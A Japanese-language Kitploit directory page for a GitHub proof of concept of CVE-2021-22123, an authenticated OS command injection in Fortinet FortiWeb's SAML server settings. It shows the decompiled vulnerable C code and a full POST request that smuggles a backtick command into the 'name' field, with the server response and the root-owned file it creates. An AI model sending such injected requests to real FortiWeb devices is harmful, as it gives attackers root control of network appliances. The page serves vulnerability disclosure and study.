Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22123 — [CVE-2021-22123] Fortinet FortiWeb 認証済みOSコマンドインジェクション | Kitploit
ツール/GitHubGitHub/murataydemir/cve-2021-22123
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubmurataydemir/cve-2021-22123

CVE-2021-22123

[CVE-2021-22123] Fortinet FortiWeb 認証済みOSコマンドインジェクション

リポジトリを見る
6335年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2021-22123] Fortinet FortiWeb 認証済みOSコマンドインジェクション


Hit Counter Platform Badge

FortiWeb管理インターフェースにおけるコマンドインジェクションの脆弱性により、認証済みのリモート攻撃者がSAMLサーバー設定ページを介してシステム上で任意のコマンドを実行できる可能性があります。最大権限でコマンドを実行すると、攻撃者がサーバーを完全に制御できるようになります。これはCWE-78: OSコマンドに使用される特殊要素の不適切な無効化の事例であり、CVSSv3基本スコアは8.7です。この脆弱性にはCVE-2021-22123の番号が割り当てられており、Fortiguard Labページ(FG-IR-20-120)で対処されています。

基本的に、SAMLはSecurity Assertion Markup Languageの略であり、アイデンティティプロバイダー(IdP)とサービスプロバイダー(SP)の2者間でIDデータを転送するためのXMLベースのオープンスタンダードです。シングルサインオン(SSO)メカニズムの動作を保証するように設計されており、単一の識別子を使用してさまざまなソフトウェア製品にアクセスできるようにします。

FortiWebのバージョン6.3.7未満およびそれ以前のすべてのバージョンは、認証済みOSコマンドインジェクションの脆弱性の影響を受けます。この脆弱性の悪用に成功すると、影響を受けるデバイスを最高権限で完全に制御される可能性があります。攻撃者は永続的なシェル、暗号通貨マイニングソフトウェア、またはその他の悪意のあるソフトウェアをインストールする可能性があります。管理インターフェースがインターネットに公開されている場合、攻撃者は侵害されたプラットフォームを使用して、DMZを超えて影響を受けるネットワークに到達する可能性があります。

まずFortiWebデバイスの管理インターフェースに認証された攻撃者は、SAMLサーバー設定ページのnameフィールドにバッククォートを使用してコマンドを埋め込むことができます。これらのコマンドは、基盤となるオペレーティングシステムのrootユーザーとして実行されます。脆弱なコード部分を以下に示します。

root@kitploit:~
int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

概念実証(PoC): この脆弱性を悪用するには、以下のPOSTリクエストを使用できます。

root@kitploit:~
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
root@kitploit:~
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

最後に、'touch'コマンドの結果はFortiWebデバイスのローカルコマンドラインで確認できます。

root@kitploit:~
/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123

参考文献:

  • https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/
  • https://www.ptsecurity.com/ww-en/about/news/positive-technologies-discovers-vulnerability-in-fortinet-firewall/
  • https://www.fortiguard.com/psirt/FG-IR-20-120
ツールをダウンロード